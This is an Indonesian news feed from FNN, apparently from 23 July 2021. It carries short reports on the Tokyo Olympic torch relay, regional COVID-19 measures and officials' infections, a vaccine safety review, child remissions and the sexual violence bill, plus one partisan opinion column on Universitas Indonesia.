Jakarta, FNN - Kirab Obor Olimpiade Tokyo mengakhiri perjalanannya di ibu kota Jepang, Jumat, beberapa jam sebelum upacara pembukaan, setelah menghabiskan sebagian besar dari 15 hari putaran terakhir tanpa melewati jalan raya dan jauh dari publik karena lonjakan kasus COVID-19. Gubernur Tokyo Yuriko Koike menghadiri upacara skala kecil untuk menandai kedatangan api Olimpiade tersebut sebelum melakukan perjalanan ke Stadion Nasional di mana Olimpiade malam ini akan dinyatakan resmi dibuka, tanpa penonton dan dengan kehadiran tamu VIP yang terbatas. Api Olimpiade, yang dibawa oleh sekitar 10.000 orang secara nasional sejak kirab dimulai pada akhir Maret lalu, akan dinyalakan dalam sebuah tempat semacam kuali besar selama upacara pembukaan. "Kami ingin menegakkan tindakan anti-COVID-19 yang ketat dan menggelar pertandingan yang memungkinkan atlet dari seluruh dunia untuk menunjukkan prestasi atletik yang luar biasa," kata Koike dalam acara yang diadakan di depan gedung pemerintah metropolitan Tokyo, sekitar tiga kilometer dari stadion, seperti dikutip dari Kyodo, Jumat. Ketua Komite Olimpiade Jepang Yasuhiro Yamashita termasuk di antara pembawa obor di lokasi, dan aktor kabuki Nakamura Kankuro menjadi pembawa obor terakhir pada putaran terakhir. Meskipun kirab obor yang mengelilingi Jepang selama 121 hari itu bertujuan untuk membangun kegembiraan menjelang Olimpiade setelah penundaan satu tahun karena pandemi, estafet di 20 kota dari 47 prefektur Jepang tidak dilakukan di jalan umum. Kirab obor dimulai di prefektur timur laut Fukushima dan menampilkan pembawa obor berusia antara 12 hingga 109 tahun. Api Olimpiade dinyalakan di Yunani dalam sebuah acara pada Maret tahun lalu tanpa penonton, tetapi estafet Yunani dibatalkan setelah kekhawatiran akan virus corona. Api tiba di Jepang pada 20 Maret 2020, empat hari sebelum Olimpiade Tokyo diundur. (mth)

Satgas Pamtas Bantu Warga Padamkan Kebakaran Dua Warung di Sambas

Pontianak, FNN - Personel Satgas Pamtas Yonif Mekanis 643/Wanara Sakti di Pos Pamtas Temajuk, Jumat sekitar pukul 00.45 WIB membantu memadamkan kebakaran dua unit warung makan milik warga di Dusun Camar Bulan, Desa Temajuk, Kecamatan Paloh, Kabupaten Sambas, Kalbar. "Kebakaran dua unit warung makan itu sontak mengagetkan warga Camar Wulan dan tidak mau tinggal diam personel kami yang berada di wilayah itu langsung memberi pertolongan dengan ikut memadamkan api dan melakukan evakuasi," kata Dansatgas Pamtas RI-MLY Yonif Mekanis 643/Wns, Letkol (Inf) Hendro Wicaksono, dalam rilis tertulisnya yang diterima di Pontianak, Jumat. Dia mengatakan dua unit warung yang ludes terbakar itu milik Rasadi dan Basriah warga setempat. Tidak ada korban jiwa dalam musibah kebakaran tersebut dan identifikasi sementara penyebab terjadi kebakarannya diduga akibat korsleting arus listrik. Atas kejadian itu, Dansatgas juga menyampaikan ucapan turut bersimpati atas musibah kebakaran tersebut. "Satgas pamtas Yonif Mekanis Mekanis 643/Wns akan selalu responsif mengerahkan personel untuk memberikan bantuan pasca terjadinya kebakaran dan siap membantu mendirikan ulang warung milik masyarakat tersebut," katanya. Ia menambahkan, kegiatan ini bertujuan untuk meringankan masyarakat perbatasan yang terkena musibah, Satgas Pamtas akan selalu hadir di tengah-tengah kesulitan masyarakat."Hal itu merupakan wujud kecintaan kami terhadap masyarakat, mengabdi tulus ikhlas kepada bumi pertiwi," ujarnya. Sementara itu, Danpos Temajuk Letda (Inf) Bayu menambahkan, kerugian yang dialami korban kebakaran, yaitu dua unit warung terbakar diperkirakan mencapai sekitar Rp200 juta. "Sesuai arahan Dansatgas, kami di Pos Temajuk siap membantu masyarakat yang terkena musibah kebakaran dari mulai evakuasi sampai dengan pendirian kembali warung tersebut," ujarnya. Rasadi pemilik warung mengucapkan banyak terima kasih kepada Satgas Pamtas yang bergerak cepat membantu memadamkan api dan proses evakuasi barang-barang miliknya. "Terima kasih bapak-bapak TNI yang telah membantu kami masyarakat yang mengalami musibah," katanya. (sws)

Mendagri Imbau Kepala Daerah Manfaatkan Keuangan Pemda untuk COVID-19

Jakarta, FNN - Menteri Dalam Negeri Tito Karnavian mengimbau seluruh kepala daerah untuk memanfaatkan kapasitas keuangan pemerintah daerah (pemda) yang sudah ada untuk penanganan COVID-19, tanpa harus menunggu dari pemerintah pusat. "Kalau apa-apa menunggu dari pusat saya kira akan lambat karena pusat memikirkan semua daerah. Daerah juga memiliki kapasitas keuangan yang bisa dimanfaatkan," kata Mendagri dalam keterangan video yang diterima Jumat. Hal itu disampaikan Tito saat mendampingi Wakil Presiden Ma’ruf Amin dalam rapat pengarahan penanganan COVID-19 di Provinsi Jawa Barat melalui konferensi video dari Jakarta, Kamis (22/7). Beban pandemi COVID-19 yang sedang dialami seluruh daerah di Indonesia dapat ditanggung bersama antara pemerintah pusat dan daerah. Pemda Jawa Barat juga dapat menggunakan anggaran daerah untuk penguatan kapasitas kesehatan dalam penanganan pandemi COVID-19, kata Tito. "Anggaran, baik untuk penguatan kapasitas kesehatan kemudian termasuk obat-obatan, ini sebetulnya dapat digunakan anggaran-anggaran dari daerah juga. Jadi kita bagi beban, sharing burden," jelasnya. Sementara itu, Gubernur Jawa Barat Ridwan Kamil mengatakan pihaknya telah melakukan evaluasi terkait penyerapan anggaran penanganan pandemi COVID-19. "Kemarin juga kami mendapat ‘surat cinta’ dari Pak Mendagri, sudah kami evaluasi, Pak Mendagri," kata Ridwan. Ridwan mengatakan pihaknya telah menyiapkan dana untuk kapasitas kesehatan di Jawa Barat. Namun, banyak rumah sakit yang terlambat mengajukan permintaan pembayaran pelayanan kesehatan. "Mayoritas itu karena rumah sakit-rumah sakitnya itu tidak mengajukan; (rumah sakit) telat, Pak. Sudah saya tegur juga," tambahnya. Lambannya pihak rumah sakit dan fasilitas kesehatan (faskes) yang mengajukan tagihan pembayaran untuk kasus COVID-19 tersebut menyebabkan penyerapan anggaran kesehatan Pemda Jabar belum mencapai target. "Jadi uang kita itu standby tapi kami tidak bisa mencairkan kalau rumah sakitnya tidak meminta. Sehingga yang tadinya target dari Kemendagri ke atas 50 persen, ini terpenuhi kurang lebih baru 34 persen," ujar Ridwan Kamil. Jawa Barat termasuk satu dari 19 gubernur yang mendapatkan surat teguran dari Mendagri karena pemda kurang cepat dalam menyerap anggaran terkait penanganan COVID-19. Selain Jabar, provinsi yang mendapat surat teguran Kemendagri ialah Nanggroe Aceh Darussalam, Sumatera Barat, Kepulauan Riau, Sumatera Selatan, Bengkulu, Bangka Belitung, Yogyakarta, Bali, Nusa Tenggara Barat, Kalimantan Barat, Kalimantan Tengah, Sulawesi Selatan, Sulawesi Tengah, Sulawesi Utara, Gorontalo, Maluku, Maluku Utara dan Papua. (sws)

Gubernur Gorontalo dan Istrinya Umumkan Positif COVID-19

Gorontalo, FNN - Gubernur Gorontalo Rusli Habibie mengumumkan dirinya bersama istri Idah Syahidah telah positif tertular Coronavirus disease 2019 atau COVID-19. "Karena ada informasi dokter saya, para ajudan dan orang-orang dekat saya terpapar corona, maka saya minta diswab PCR. Hasilnya pada tanggal 21 Juli, Rabu malam, sekitar pukul 19.30, saya bersama ibu dinyatakan positif," ucapnya yang disampaikan melalui siaran langsung pada akun Facebook Humas Pemprov Gorontalo dari kediaman pribadi gubernur di Kelurahan Moodu, Kota Gorontalo, Jumat. Begitu mengetahui hasil swab diri dan istrinya positif, gubernur langsung meminta tim dokter melakukan pemeriksaan kondisi fisik. Menurutnya, hasil pemeriksaan saturasi oksigen berada di angka 97 atau normal, termasuk dilakukan CT-scan paru-paru. Ia dan istrinya hanya diminta untuk isolasi mandiri sambil menunggu hasil uji PCR-nya negatif. "Malam itu saya sempat saya stres sehingga agak susah bernafas. Saya ingat pesan Gubernur Maluku dan mantan Danrem 133 untuk menggosok minyak kayu putih ke hidung. Rasanya cukup pedas, tapi cukup membantu," ujarnya. Rusli mengisi masa isolasi mandiri dengan berolahraga di rumah serta tetap memimpin rapat bersama para kepala dinas secara virtual. Sebelumnya, ada dua ajudan, satu personel humas, satu dokter pribadi dan sejumlah petugas rumah dinas gubernur yang terpapar COVID-19. Hingga kini, kata Rusli, semuanya dalam kondisi sehat atau tanpa gejala dan sedang mengikuti isolasi terpusat di fasilitas milik pemprov. (sws)

Anggota DPRD Apresiasi Gedung Sekolah Jadi Isolasi di Surabaya

Surabaya, FNN - Anggota Komisi A Bidang Hukum dan Pemerintahan DPRD Kota Surabaya Imam Syafi'i mengapresiasi rencana pemerintah kota setempat menjadikan gedung sekolah sebagai tempat isolasi bagi warga yang terpapar COVID-19. "Saya apresiasi rencana pemkot itu dengan catatan, memang tidak ada tempat lain yang memadai yang dekat dengan perkampungan," kata Imam Syafi'i di Surabaya, Jumat. Selain itu, lanjut dia, gedung sekolah tersebut juga dalam keadaan kosong, karena tidak dipakai untuk proses belajar mengajar secara tatap muka, karena saat ini masih daring. "Yang paling penting juga ada jaminan virusnya tidak menyebar ke warga yang tinggal di sekitar gedung sekolah yang dipakai sebagai tempat isolasi pasien COVID-19," ujarnya. Imam mengatakan, fakta menunjukkan penularan COVID-19 pada klaster rumah tangga di Surabaya masih tinggi, dan sampai saat ini belum bisa dikendalikan. Kalau hal itu dibiarkan, maka dikhawatirkan korban meninggal dunia akan semakin bertambah. "Di Surabaya banyak warga tinggal dikampung yang semakin berisiko untuk menjalani isolasi mandiri, karena banyak rumah yang berdempetan. Kamar tidak hanya dijadikan ruang tidur, melainkan bercampur dengan aktivitas lainnya," kata Imam. Politisi Partai Nasdem ini menambahkan, gedung sekolah merupakan tempat yang cukup representatif kalau difungsikan sebagai tempat isolasi. "Gedung sekolah ada ruang-ruang kelas yang terpisah," katanya. Namun Imam mengingatkan kepada Pemkot Surabaya untuk memastikan bahwa gedung sekolah dalam kondisi aman dan steril setelah tidak lagi difungsikan sebagai tempat isolasi. "Seperti disampaikan oleh para ahli, kalau virus corona tidak bisa bertahan lama ketika menempel pada benda mati. Karenanya harus disemprot disinfektan setelah selesai digunakan," katanya. Selain mencegah resiko penularan terhadap siswa sekolah, lanjut dia, upaya tersebut juga untuk menyakinkan wali murid soal keamanan kesehatan anaknya ketika bersekolah nantinya. Wali Kota Surabaya Eri Cahyadi sebelumnya mengatakan pihaknya telah mengambil sejumlah langkah demi memutus penyebaran wabah yang sedang mendunia tersebut, di antaranya menyiapkan tempat isolasi mandiri di berbagai tempat publik, salah satunya gedung sekolah. Menurut Eri, pemilihan lokasi sekolah itu penting dilakukan sebab bangunannya sudah menjadi per ruangan dan juga fasilitas toilet juga sudah tersedia. "Di setiap ruangannya juga sudah ada ventilasi maupun AC-nya," katanya. (sws)

CDC Dukung Manfaat Vaksin J&J di Tengah Laporan Gangguan Sistem Saraf

Washington, FNN - Meski gangguan sistem saraf langka muncul di sejumlah penerima vaksin COVID-19 Johnson & Johnson, manfaat vaksin lebih besar ketimbang risikonya, menurut panel penasihat Pusat Pencegahan dan Pengendalian Penyakit AS (CDC), Kamis (22/7). Badan Pengawas Obat dan Makanan AS (FDA) pekan lalu menambahkan peringatan lembar fakta untuk vaksin dosis tunggal J&J, yang menyebutkan bahwa data menunjukkan adanya peningkatan risiko sindrom Guillain-Barre (GBS) dalam enam pekan setelah vaksinasi. Panel penasihat CDC mengevaluasi manfaat dan risiko vaksin J&J setelah ada laporan awal soal GBS ini dari orang-orang yang telah menerima vaksin tersebut. Mengingat kemungkinan kaitan antara GBS dan vaksin, CDC akan kembali mempertimbangkan penggunaan vaksin J&J untuk mengatakan bahwa pasien dengan riwayat GBS terlebih dahulu harus melihat ketersediaan vaksin berbasis mRNA dari Pfizer-BioNTech dan Moderna, kata pejabat CDC. FDA mengutip 100 laporan awal GBS pada penerima vaksin J&J, termasuk 95 kasus serius yang mengharuskan penderita dirawat inap dan satu laporan kematian. Pihak J&J pada Kamis mengatakan bahwa manfaat yang diketahui dari vaksin buatannya lebih besar ketimbang potensi risiko yang diketahui. Anggota kelompok kerja Komite Penasihat untuk Praktik Imunisasi (ACIP) CDC menyatakan "dukungan kuat" untuk melanjutkan penggunaan vaksin J&J, kata Sarah Mbaeyi dari CDC saat pertemuan panel. CDC juga akan memperbarui sejumlah beberapa materi komunikasinya tentang vaksin tersebut, termasuk informasi untuk penyedia medis kepada pasien tentang keamanan vaksin dan pertanyaan yang kerap muncul, katanya. (sws)

Dinkes Akui Wali Kota Bandung Masuk RS Bukan Karena COVID-19

Bandung, FNN - Dinas Kesehatan Kota Bandung, Jawa Barat, mengaki bahwa Wali Kota Oded M Danial dirawat di rumah sakit (RS) setelah mengalami gangguan kesehatan, namun bukan karena terinfeksi COVID-19. Kepala Dinas Kesehatan (Dinkes) Kota Bandung Ahyani Raksanagara di Bandung, Jumat menjelaskan bahwa Oded mengalami gejala asam lambung. "Bukan (COVID-19), sebetulnya awalnya medical check up, dan sekaligus diobservasi," katanya. Ahyani mengatakan, akhir-akhir ini Oded memang beberapa kali mengeluhkan asam lambung yang dialaminya tersebut. Bahkan, pada saat rapat Satgas Penanganan COVID-19 Kota Bandung, kata dia, Oded mengeluh mengalami sakit. "Beberapa kali memimpin ratas (rapat terbatas), dia bilang tidak enak lambung, asam lambung," kata Ahyani. Oded dikabarkan dirawat sejak Rabu (21/7). Pada hari itu Oded diketahui batal menghadiri sejumlah kegiatan pimpinan. Oded terakhir muncul di hadapan publik pada Senin (19/7) pada saat kegiatan pertemuan dengan masyarakat untuk mendengarkan aspirasi atas adanya PPKM Darurat. Setelah itu pada Selasa (20/7), Oded melakukan kegiatan Shalat Idul Adha di Rumah Dinas Wali Kota Bandung atau di pendopo di Jalan Dalem Kaum, Kota Bandung. (sws)

Kemenkumham Sulsel Buka Konsultasi Layanan Perdata

Makassar, FNN - Kantor Wilayah Kementerian Hukum dan HAM Sulawesi Selatan membuka konsultasi layanan perdata yang difasilitasi Direktorat Jenderal Administrasi Hukum Umum (AHU) Kemenkumham. Kepala Kanwil Kemenkumham Sulsel Harun Sulianto membuka langsung kegiatan tersebut yang digelar secara virtual, di Makassar, Kamis, mengatakan, layanan konsultasi perdata itu adalah bagian dari tugas dan fungsi Kemenkumham dalam memberikan pelayanan hukum. "Kami menjaring aspirasi penerima layanan perdata di wilayah Sulsel terutama para notaris," katanya. Kakanwil Harun mengapresiasi kinerja Direktorat Teknologi Informasi AHU dalam peningkatan kualitas layanan Administrasi Hukum Umum (AHU) di Sulsel. Menurutnya, ada sembilan tugas dan fungsi AHU pada kantor wilayah yang akan didiskusikan, yakni layanan legalisasi, yayasan, perkumpulan, layanan kurator, wasiat/harta peninggalan, penerjemah tersumpah, layanan fidusia, dan badan hukum. Beberapa narasumber diantaranya, Direktur Teknologi Informasi Ditjen AHU Sri Yuliani yang sebelumnya menjabat Kepala Divisi Pelayanan Hukum dan HAM Kanwil Sulsel. Sri Yuliani didampingi oleh Kasubdit Badan Hukum Direktorat Perdata Laila Yunara. Peserta kegiatan berasal dari pengurus wilayah Ikatan Notaris Indonesia (INI) Sulsel, anggota Majelis Pengawas wilayah notaris (MPWN) Sulsel, anggota Majelis Kehormatan Wilayah Notaris (MKNW) Sulsel, penyuluh hukum, dan jajaran bidang pelayanan hukum. Sri Yuliani mengawali diskusi terkait isu strategis pendirian Perseroan Perorangan dan Badan Usaha Milik Desa (Bumdes). Ia menjelaskan, bahwa kedua bentuk badan usaha ini tidak memerlukan akta notaris, cukup dengan pernyataan pemohon. Akan tetapi nantinya ketika usaha tersebut berkembang dan pendirinya lebih dari satu orang atau jumlah modal meningkat lebih dari Rp5 miliar akan tetap butuh peran notaris, mengubah dari bentuk perorangan dan menjadi persekutuan modal. Perseroan perorangan merupakan bentuk dukungan pemerintah terhadap UMKM yang ingin menjalankan usaha secara mandiri namun tetap berbadan hukum. Sedangkan Bumdes secara teknis diverifikasi oleh Kemendes dan Kemenkumham yang akan menerbitkan status badan hukumnya. Terkait Aplikasi AHU, Sri menjamin Pelayanan Terpadu AHU Online, telah memperoleh penghargaan dari Kemenpan RB kategori Unit Penyelenggara Pelayanan Peraih Kategori A. Sistem Informasi pada Ditjen AHU saat ini dalam upaya integrasi dengan sejumlah sistem data pada kementerian dan lembaga negara terkait. Seperti LKPP, Kementerian Desa, dan Kementerian Koperasi. Salah seorang penanggap, notaris Ria Trisnomurti menyambut baik kebijakan tersebut sebagai dukungan pada sektor UMKM. Senada dengan penanggap yang lain ia mengusulkan agar Kemenkumham gencar melakukan sosialisasi ke masyarakat terkait kebijakan tersebut. Menanggapi hal tersebut, Kasubdit Badan Hukum Laila Yunara berharap Penyuluh Hukum sebagai perpanjangan Ditjen AHU di wilayah dapat sebagai narasumber bagi masyarakat terkait kebijakan layanan perdata. Kepala Divisi Yankum, Anggoro Dasananto yang memandu acara menyampaikan kesiapan untuk menjadi narasumber di Sulsel terkait sosialisasi layanan perseroan perorangan dan Bumdes. (sws)

UI Dibungkam: Runtuh atau Bangkit

Oleh Ahmad Dayan Lubis Medan, FNN - Sejarah yang membentang panjang menunjukkan bahwa UI dan seluruh elemennya hingga hari ini memiliki kontribusi yang besar bagi bangsa ini. Sebagai salah satu kampus terkemuka di Indonesia, suaranya selalu mampu mewakili puluhan kampus lainnya di Indonesia. Pengaruh UI, Suara Kritis dan Pembungkaman Dari sisi gagasan-gagasannya, daya tekannya, dan bahkan kekuatan gelombang protesnya lebih kuat. Karena itu bagi penguasa mematikan atau membungkam UI menjadi sangat penting ketika ingin suara-suara kritis hilang. Ketika suara kritis hilang kekuatan oligarki dan kawan-kawannya semakin leluasa berbuat sesukanya. Apalagi jika sudah tidak ada kritik yang memiliki power di tengah dominannya relasi kuasa antara oligarki ekonomi dan oligarki politik. Sebagai seorang aktivis yang berasal dari UIN Jakarta saya melihat, merasakan dan mengakui power UI di hampir setiap episode gerakan. Misalnya ketika tahun 1997 hingga tahun 1998. Kampus kampus lain sudah bergerak berbulan-bulan dari kampus ke kampus tetapi ketika UI belum bergerak memang berbeda daya pengaruhnya. Tetapi ketika UI sudah bergerak pengaruhnya begitu terasa. Kendati pun gagasannya sama atau bahkan lebih brilliant akan berbeda jika itu muncul dari UI (sebenarnya ada juga beberapa kampus lain, tetapi konteks tulisan ini adalah UI, maka itu yang saya sebut). Itulah sebabnya, teman-teman yang mengerti peta gerakan dan jujur tak jarang merekamkan pikiran dan gagasannya ke UI, lalu suara itu datang dari the yellow jaket. Atau ada juga yang lebih lihai, biarkan UI ikut menyuarakan di babak akhir. Sebab anak UI, jika kemudian jadi tokoh biasanya memang karena kapasitasnya dan integritas, bukan karena mulutnya yang besar dan selalu menyebut nyebut dirinya aktivis. Lihat saja tokoh mahasiswa 98. Yang sibuk ngaku-ngaku dan minta diakui dengan mulut besarnya siapa? Padahal dia berkhianat kepada cita-cita reformasi. Mungkin ini ciri calon mahasiswa yang tersingkir dari testing masuk Perguruan tinggi ternama. Kembali ke UI, karena itu mematikan suara kritis dari UI itu semacam 'plandemi' yang sesungguhnya satu paket dengan mutilasi pilar reformasi. Asal tahu saja, ini pos-pos terakhir yang tersisa. Skenarionya. Naiklah jadi petinggi UI orang yang lemah tetapi kuat syarat akademiknya sehingga memenuhi syarat. Kemudian buat ia menjatuhkan dirinya sendiri karena kelemahannya. Lalu tsunami bullying meraksasa dan dia mundur. Anda tahu apa yang terjadi? Pilar-pilarnya rontok seketika. Memakai jaket kuning itu memalukan, aktivisnya bahkan tidak kritik petingginya tetapi yang lain. Pesannya, kritik mereka tentang the king of lip itu hanyalah banjir kecil yang coba menghantam tembok raksasa. Ya keok, airnya balik ke Depok. Suara itu tidak perlu didengar dan tidak berpengaruh. Anak UI yang kritis, malu, jaket kuning mulai pudar, akhirnya lemah dan pos-pos terakhir sudah di ambang sore yang gelap. Masukkan kepalanya ke dalam comberan, maka jasnya akan kotor dan bau sebagai tetesan dari air got. Baunya semakin menyengat ke segala penjuru. Bangkitlah UI Bersama Darah Juang Rakyat Maka, anak UI dan seluruh jiwa pejuang yang ada di dalamnya harus segera bangkit sebelum lonceng kematian benar benar berbunyi. Belum terlambat. Nama besarmu takkan bisa dengan mudah pudar. Sejarah tidak akan pernah mengingkari itu. Kamu kebanggaan rakyat Indonesia. Darahmu merah dengan jiwa pejuang. Kepadamu ratusan juta rakyat berharap dan masih percaya. Bangunlah jiwamu, majulah serentak, bangsa ini menantimu. Terhadap semua bully-an, anggaplah itu tamparan keras yang membangkitkan gairahmu. Tak perlu kau ingkari. Aku menanti gerakanmu yang spektakuler, cerdas, dan melindungi segenap bangsa dan tumpah darah Indonesia. Mereka bermain. Namun permainan mereka dibongkar, dipatahkan, dicuci. Horas laeku di UI. Izinkan aku sapa engkau lae, itu panggilan sayang kami yang di dalamnya tersimpan kepercayaan dan harapan. Jangan banyak kali lagi melamun, menyesal, apalagi air mata lemah. Bangun jiwamu. Kami pecinta merah putih bersamamu. Merah putih bendera kita, bintangnya jauh di atas malam hari. Tidak dekat. Bangkitlah jiwamu! Penulis, Pemerhati Kampus Perjuangan.

Menkumham: Jangan Lihat Anak Berhadapan Hukum Sebagai Penjahat kecil

Jakarta, FNN - Menteri Hukum dan Hak Asasi Manusia (Menkumham) RI Yasonna Laoly meminta masyarakat agar jangan melihat anak yang sedang berhadapan dengan hukum sebagai penjahat kecil. "Masyarakat harus meninggalkan stigma terhadap anak yang berhadapan dengan hukum," kata Menkumham Yasonna Laoly melalui keterangan tertulis yang diterima di Jakarta, Jumat. Ia mengatakan konstitusi Indonesia dengan jernih menyebutkan bahwa setiap anak berhak atas kelangsungan hidup, tumbuh, berkembang, serta perlindungan dari kekerasan dan diskriminasi. "Begitupun dengan anak yang berhadapan dengan hukum," kata Yasonna. Meskipun mereka harus masuk dalam sistem peradilan pidana anak dan menjalani masa pidana serta pembinaan, bukan berarti hak atas pembinaan, pendidikan hingga pelayanan kesehatan terabaikan. Kegiatan pembinaan terhadap anak yang berhadapan dengan hukum dilakukan untuk mempercepat proses kembalinya anak ke tengah keluarga dan lingkungan masyarakat. Tujuan itu akan lebih mudah tercapai bila semua pihak berkomitmen meninggalkan atau melepaskan stigma buruk. "Mereka jangan lagi dilihat sebagai penjahat kecil, melainkan calon-calon penerus bangsa yang tetap harus dilindungi haknya," ujar menteri yang juga kader PDI-P tersebut. Dalam rangka peringatan Hari Anak Nasional 2021 sebanyak 1.020 anak binaan mendapat remisi dari Direktorat Jenderal Pemasyarakatan Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham). Dari jumlah tersebut sebanyak 1.001 anak mendapat remisi anak nasional I atau pengurangan sebagian masa hukuman dan 19 lainnya mendapat remisi II atau langsung bebas. Upaya menjaga kepentingan terbaik anak-anak yang berhadapan dengan hukum bisa hadir dalam berbagai bentuk termasuk melalui remisi anak. Pemberian remisi bukan sekadar amanat undang-undang, melainkan bentuk nyata kepedulian pemerintah. "Ini juga untuk mengedepankan kepentingan anak dan mempercepat reintegrasi anak ke tengah-tengah masyarakat," ucap dia. Harapan dari pemberian remisi ialah agar anak bisa semakin cepat berkumpul kembali dengan keluarga dan masyarakat dalam rangka menata kembali masa depannya menjadi lebih baik lagi. Yasonna juga mengingatkan jajarannya yang bertugas melakukan pembinaan anak yang sedang berhadapan dengan hukum di Lembaga Pembinaan Khusus Anak (LPKA), senantiasa mengedepankan kepentingan terbaik anak. "Jalankan peran dan fungsi sesuai prinsip-prinsip pemasyarakatan dengan mengedepankan kepentingan terbaik anak dan memastikan semua hak anak terpenuhi," kata dia. Hidup anak yang berhadapan dengan hukum tidak berhenti sampai di LPKA, perjalanan mereka masih panjang dan adalah tugas negara membimbing serta memberikan bekal untuk bisa menempuh jalan panjang tersebut. Menurut dia, masa depan bangsa terletak di tangan dan pundak anak-anak. Oleh karena itu, melindungi kepentingan anak, termasuk anak yang berhadapan dengan hukum, sama artinya dengan melindungi masa depan bangsa. (sws)

Dua Warga yang Ambil Paksa Jenazah Pasien COVID Terkonfirmasi Positif

Kupang, FNN - Dua orang dari 11 anggota keluarga yang mengambil secara paksa jenazah pasien COVID-19 pada 17 Juli 2021 dinyatakan positif COVID-19 setelah melalui tes cepat antigen pada Kamis (22/7). "Pada hari Kamis (22/7) Polres Kupang Kota bersama Dinas Kesehatan Kota Kupang sudah melakukan tes antigen terhadap 11 anggota keluarga pasien COVID-19 yang jenazahnya diambil paksa, hasilnya dua orang positif," kata Kabid Humas Polda NTT Kombes Pol. Rishian Krisna B. di Kupang, Jumat. Mantan Kapolres Timor Tengah Utara (TTU) itu menyebutkan dua anggota keluarga pasien COVID-19 yang dinyatakan positif itu adalah suami dan anak dari pasien tersebut. Ssbelumnya, pada hari Sabtu (17/7) GMN jenazah COVID-19 diambil secara paksa oleh pihak keluarganya saat pemakaman dengan protokol COVID-19. Pihak keluarga tidak menerima apabila keluarga yang meninggal dunia itu dinyatakan positif COVID-19. Mereka berkeinginan untuk dibawa pulang ke rumah untuk disemayamkan. Namun, akhirnya polisi setempat bertindak cepat untuk memberikan pemahaman melalui negosisasi antara anggota Polres Kupang Kota dan keluarga almarhumah. "Setelah melalui perdebatan yang panjang, keluarga memperbolehkan Satgas COVID-19 memakamkan jenazah pasien COVID-19 itu di pemakaman dengan protokol COVID di TPU Batukadera Kota Kupang," katanya. Sementara itu, perwakilan dari keluarga jenazah pasien COVID-19 Abdullah Ulomando menyampaikan permohonan maaf kepada seluruh masyarakat NTT, khususnya Kota Kupang, atas perbuatan yang meresahkan. "Pihak keluarga menyampaikan permohonan maaf atas kekeliruan yang terjadi yang mengakibatkan suami dan anak almarhumah ikut terinfeksi COVID-19," ujarnya. Abdullah berharap agar kejadian tersebut menjadi pembelajaran bagi masyarakat Kota Kupang untuk tidak ditiru. Keluarga pun menghimbau agar apabila ada penyampaian dari RS, puskesmas, atau balai kesehatan mana pun bahwa pasien terkonfirmasi positif, harus mengikuti aturan dari pemerintah yang berlaku. (sws)

Ketua Panja: RUU PKS akan Mencakup Kekerasan Seksual di Dunia DigitalTG

Jakarta, FNN - Ketua Panitia Kerja (Panja) Rancangan Undang-Undang (RUU) Penghapusan Kekerasan Seksual (PKS) Willy Aditya menyatakan bahwa RUU PKS akan mencakup isu kekerasan seksual di dunia digital. “Dalam (dunia) digital, kami melakukan sinkronisasi dengan Undang-Undang Pornografi dan Undang-Undang ITE (Informasi dan Transaksi Elektronik),” kata Willy Aditya ketika dihubungi oleh ANTARA dari Jakarta, Kamis. Adapun langkah sinkronisasi yang dilakukan adalah menambahkan poin-poin yang belum diatur dalam UU Pornografi maupun UU ITE. Poin-poin ini masih dalam proses peninjauan oleh Panja untuk mencegah terjadinya tumpang-tindih antara satu peraturan dengan peraturan yang lainnya. “Kita hidup sudah bertransformasi ke era digital. Maka kemudian, kekerasan seksual juga terjadi di (dunia) digital,” katanya. Terlebih, dengan munculnya fenomena-fenomena prostitusi dalam jaringan (daring) yang juga melibatkan anak di bawah umur. Berdasarkan buku panduan Kekerasan Berbasis Gender Online yang disusun oleh Kusuma dan Arum (2020), terdapat enam aktivitas yang dapat dikategorikan sebagai jenis kekerasan yang dilakukan secara daring, yaitu: pelanggaran privasi, pengawasan dan pemantauan, perusakan reputasi, online harassment, ancaman dan kekerasan, serta community targeting. Menurut Willy, Kitab Undang-Undang Hukum Pidana (KUHP) masih belum cukup untuk menjadi payung hukum dalam memproses pelanggaran-pelanggaran kekerasan seksual yang terjadi secara terperinci, sehingga dibutuhkan RUU PKS untuk menutup kekurangan-kekurangan yang terdapat di dalam KUHP. Willy juga menambahkan bahwa sinkronisasi yang dilakukan dalam penyusunan RUU PKS tidak hanya pada bidang digital, namun juga pada produk-produk hukum lainnya. “Kami juga melakukan sinkronisasi dengan KUHP, Undang-Undang KDRT, dan Undang-Undang Perkawinan,” katanya memaparkan. Selama lebih dari delapan tahun, RUU PKS masih berada dalam proses diskusi dan belum disetujui untuk disahkan dalam forum legislatif. Sementara kasus kekerasan seksual di Indonesia terus meningkat. Pada tahun 2020 tercatat 2.945 kasus kekerasan seksual yang menimpa perempuan di ranah publik dan pribadi. Untuk itu, Ketua Panja menekankan pentingnya memperjuangkan RUU PKS sebagai respon dari pemerintah atas situasi darurat kekerasan seksual, sebagaimana yang telah diserukan oleh Komisi Nasional (Komnas) Perempuan. Willy menyatakan bahwa Panja akan berupaya semaksimal mungkin untuk mengesahkan RUU PKS di tahun 2021. “Kita tidak boleh menutup mata tentang ancaman kekerasan seksual pada perempuan, anak, dan laki-laki,” kata Willy. (sws)

Sebanyak1.020 Anak Menerima Remisi

Jakarta, FNN - Sebanyak 1.020 anak berhadapan dengan hukum menerima remisi anak nasional dari Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) RI pada peringatan Hari Anak Nasional 2021. "Bagaimanapun mereka adalah masa depan bangsa yang harus dilindungi," kata Direktur Jenderal Pemasyarakatan Kemenkumham Reynhard Silitonga di Jakarta, Jumat, 23 Juli 2021. Dari jumlah tersebut, kata Reynhard, sebanyak 1.001 anak mendapatkan remisi anak nasional Kategori I dan 19 anak mendapatkan remisi anak nasional II atau langsung bebas. Dari 1.001 anak penerima remisi I, sebanyak 751 anak mendapatkan remisi 1 bulan, sebanyak 129 anak mendapat remisi 2 bulan, 116 anak menerima remisi 3 bulan, dan lima anak memperoleh remisi 5 bulan. Sementara itu, dari 19 anak penerima remisi anak nasional II, sebanyak 16 anak di antaranya mendapatkan remisi 1 bulan dan tiga anak mendapat remisi 3 bulan. Penerima remisi tersebut tersebar di seluruh wilayah di Indonesia. Pada tahun ini, Kantor Wilayah (Kanwil) Kemenkumham Sumatera Selatan dan Jawa Barat menyumbang penerima remisi anak terbanyak, yakni 70 anak per wilayah. Kemudian Kanwil Kemenkumham Riau dan Jawa Timur masing-masing sebanyak 66 anak serta Kanwil Kemenkumham Lampung 65 anak. "Kami berharap pemberian remisi ini dapat memotivasi anak untuk terus berusaha menjadi pribadi yang lebih baik," ujarnya sebagaimana dikutip dari Kantor 